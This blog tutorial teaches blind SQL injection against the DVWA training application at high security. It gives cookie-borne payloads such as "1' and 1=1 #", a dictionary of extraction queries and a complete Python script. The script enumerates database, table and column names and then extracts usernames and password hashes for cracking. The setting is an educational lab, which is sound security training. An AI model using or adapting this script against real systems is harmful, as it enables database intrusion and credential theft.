Blind SQL Injection: How To Hack DVWA With Python (High Security)
Table of contents
In this article, we are going to use Python to exploit DVWA by using a Blind SQL Injection attack on a high level of security.
You probably would remember from previous articles or maybe your background what is Blind SQL Injection.
Anyway, just as a refresher, SQL Injection it’s an attack that takes advantage of bad input management from the server.
This flaw allows the hacker to inject a SQL payload that potentially gives him full control of the database (it also depends on the database user privileges).
Blind SQL Injection is nothing more than an SQL Injection attack where the attacker cannot see the result on the output but have to infer that from the application behaviour.
I know that it might sound complicated, but it is not.
In this article, I will take many things for granted, so if you find this reading too hard, I invite you to read my previous posts.
In-Band SQL injection
Blind SQL injection
Blind SQL injection: How To Hack DVWA With Python (Low Security)
Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
Blind SQL Injection: How To Hack DVWA With Python (High Security)
As always I assume you are working on a Kali Linux machine (on the contrary, there may be small differences).
Before starting to adjust our script we need a bit of reconnaissance, so let’s open our DVWA machine (as usual I’m using the one provided by TryHackMe).
I also want to remember you that the code for the whole series is in my GitHub repository.
I want just to tell you that I’m aware that this is not a so easy topic.
But I’m also confident that the best way to gain deep knowledge is by:
Take your time to read this and the previous articles
Replicate what we are doing, maybe trying to anticipate the next step
Take your own experiments! Edit the code and try by yourself.
This is the hacker mentality! And making everything leisurely and without distractions, your results will be amazing!
Step #0: The Reconnaissance
Before starting, let’s take a look at the DVWA Blind SQLi section as we did in the past.
So, in case you are using the TryHackMe machine configure your VPN and then log in with the following credentials:
username: admin
password: password
Now, you can go to the settings and set the security level as High.
After setting security to high and before writing our Python script, we can go to the Blind SQL injection section of DVWA.
We can see a link saying “Click here to change your ID.”
And by clicking this is the result.
Before going further, we need more information about the input form, so let’s inspect the code (Right Click + Inspect in Firefox).
This is what we should see at the bottom of our browser:
So this is what we know after these two simple steps:
It uses the POST method
It has the action pointing to the current page
It passes a parameter with id as the name.
We will soon see that it is not exactly the information we are looking for and that in retrospect it might be considered superfluous.
But we cannot know a priori, so it is a good habit to gather as much information as possible.
Now we can try to submit the value “1” and see this result.
It looks very similar to what we have seen in the previous levels (Medium).
Finding the SQLi vulnerable input
I like DVWA because every level teaches us new concepts, this time the lesson we can learn is that every field can be vulnerable, also cookies.
Saying that try to look at the cookies (SHIFT + F9 in Firefox) and you should see something similar to this:
That’s how the application retrieves the input id, and this is the field we are going to exploit with our Blind SQL injection attack.
Step #1: Testing The Blind SQLi Vulnerability
Having reached this point, we want to test whether the field is vulnerable to SQL injection.
The first test will be manual and we are going to insert the following value into the cookies.
1' and 1=2 #
We can do it by opening the cookies section of our browser (SHIFT + F9 on Firefox) and then by replacing the value with our payload, as shown in the image below.
After that, the page will output this text without errors:
User ID is MISSING from the database.
We can do the counterevidence by inserting the following payload:
1' and 1=1 #
And again we have no errors, but this time the output will be:
User ID exists in the database.
So it’s obvious that we found the vulnerable field and that we can prepare our Python script to attack the application (there are no errors and we can control the boolean output).
Step #2: Exploiting The Blind SQLi Vulnerability
There are not so many lines of code to write because we have almost done the whole work in the previous two levels:
Blind SQL injection: How To Hack DVWA With Python (Low Security)
Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
So let’s discuss a bit the changes we have to do.
In particular, all the changes are into the get_query_result function, where we need to:
Set the “id” cookie with the payload
Send the request by using the GET HTTP method (The POST we have seen is used just by the server to set the cookie).
There are no more changes, in fact, the main method and the queries are the same as we used in the Blind SQL Injection low-security.
As per the previous articles, the only libraries we need are:
BeautifulSoup: library in charge of parsing HTML.
requests: a library that helps to send HTTP requests.
You can install them by typing this on your terminal:
pip install beautifulsoup4 requests
The Queries’ dictionary
In this case, I’m going to take the same approach as the script into the medium level of security, so we will save all the queries in a dictionary.
This is the most crucial part to understand how to pass this level, so here is our dictionary:
queries = {
"db_length": "1' AND LENGTH(DATABASE()) = {} #",
"db_name": "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}' #",
"n_tables": "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}' #",
"tables": "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}' #",
"n_columns": "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}' #",
"columns": "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}' #",
"users": "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}' #",
"pwd_len": "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={} #",
"pwd": "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}' #"
}
Since we are passing the query as a cookie, we don’t need to encode the hashtag as we did in the first level.
Edit the get_query_result function
The last important change we have to do is to the get_query_result function, differently from what we have seen in the previous level we have to use the HTTP GET request and pass the id as a cookie.
That’s extremely easy as you can see:
def get_query_result(s, sqli_blind_url, query, *args):
try:
concrete_query = query.format(*args)
response = s.get(sqli_blind_url, cookies={"id": concrete_query})
parser = DVWASQLiResponseParser(response)
return parser.check_presence("exist")
except AttributeError as e:
return False
Now we are finally ready to run the script!
Step #4: Run The Script
We are finally at the end of our exercise, the last thing we have to remember it’s to change the cookie security to HIGH, and we can do this with a single line in our main function:
s.security = SecurityLevel.HIGH
And we are done!
We can’t do anything but run the script by typing on our terminal:
python main.py
This is the result!
That’s amazing, and as usual, we can move to Crackstation and crack the retrieved hashed password:
Code Overview
That’s all, but before going to the conclusion, let’s take a look at the full code:
from utils import *
from ast import literal_eval
def get_query_result(s, sqli_blind_url, query, *args):
try:
concrete_query = query.format(*args)
s._session.cookies.set("id", concrete_query)
response = s.get(sqli_blind_url)
parser = DVWASQLiResponseParser(response)
return parser.check_presence("exist")
except AttributeError as e:
return False
queries = {
"db_length": "1' AND LENGTH(DATABASE()) = {} #",
"db_name": "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}' #",
"n_tables": "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}' #",
"tables": "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}' #",
"n_columns": "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}' #",
"columns": "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}' #",
"users": "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}' #",
"pwd_len": "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={} #",
"pwd": "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}' #"
}
if __name__ == "__main__":
BASE_URL = "http://10.10.87.65"
sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind/#"
with DVWASessionProxy(BASE_URL) as s:
s.security = SecurityLevel.HIGH
query = queries["db_length"]
length = 0
for i in range(1,10):
if get_query_result(s, sqli_blind_url, query, i):
print(f"[+] The DB's name length is {i}")
length = i
break
query = queries["db_name"]
dbname = []
for i in range(1, length+1):
for c in string.ascii_lowercase:
if get_query_result(s, sqli_blind_url, query, i, c):
dbname.append(c)
break
dbname = "".join(dbname)
print(f'[+] Found a database with name: {dbname}')
query = queries["n_tables"]
n_tables = 0
for i in range(1, 10):
if get_query_result(s, sqli_blind_url, query, dbname, i):
print(f"[+] It has {i} tables")
n_tables = i
break
query = queries["tables"]
found_tables = [[] for _ in range(n_tables)]
completion = ""
for i in range(n_tables):
for j in range(1, 10):
for c in string.ascii_lowercase:
if get_query_result(s, sqli_blind_url, query, dbname, completion, j, c):
found_tables[i].append(c)
break
print("\t","".join(found_tables[i]))
completion += f" AND table_name <> '{(''.join(found_tables[i]))}'"
users_table = input("Type the tabname to attack: ")
query = queries["n_columns"]
n_columns = 0
for i in range(1, 10):
if get_query_result(s, sqli_blind_url, query, users_table, i):
print(f"[+] It has {i} columns")
n_columns = i
break
query = queries["columns"]
found_columns = [[] for _ in range(n_columns)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
try:
for i in range(n_columns):
for j in range(1, 12):
for c in string.ascii_lowercase:
if get_query_result(s, sqli_blind_url, query, users_table, i, j, c):
found_columns[i].append(c)
break
print("\t","".join(found_columns[i]))
except KeyboardInterrupt as e:
print("\nSkipping this phase!")
users_column = input("Type the name of the column containing usernames: ")
passwords_column = input("Type the name of the column containing passwords: ")
query = queries["users"]
found_users = [[] for _ in range(10)]
print("[!] In order to speed up, try to press CTRL+C when you find the target user")
try:
for i in range(10):
for j in range(1, 12):
for c in string.ascii_letters+string.digits:
if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, c):
found_users[i].append(c)
break
print("\t","".join(found_users[i]))
except KeyboardInterrupt as e:
print("\n Skipping this phase!")
username = input("Type the name of the target user: ")
query = queries["pwd_len"]
pwd_length = 0
for i in range(100):
if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, i ):
pwd_length = i
print(f"[+] The password length is: {i}")
query = queries["pwd"]
password = []
for j in range(1, pwd_length+1):
for c in string.ascii_letters+string.digits:
if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, j, c):
password.append(c)
break
print("[+] Password is: ","".join(password))
Conclusion
We have seen that exploiting the Blind SQL injection of DVWA, from low to high difficulty, in Python is not so trivial.
But I think it was very educative, and maybe, following all the SQL injection series from the beginning, can give a deeper knowledge of the attack.
We’ve also seen that putting a bit of effort into the code organization can save a lot of time in case we need to adapt to different situations.
I hope you liked this article, and if you want to read more like this, you could follow my blog and my social.
See you soon!
Subscribe to my newsletter
Read articles from Stackzero directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by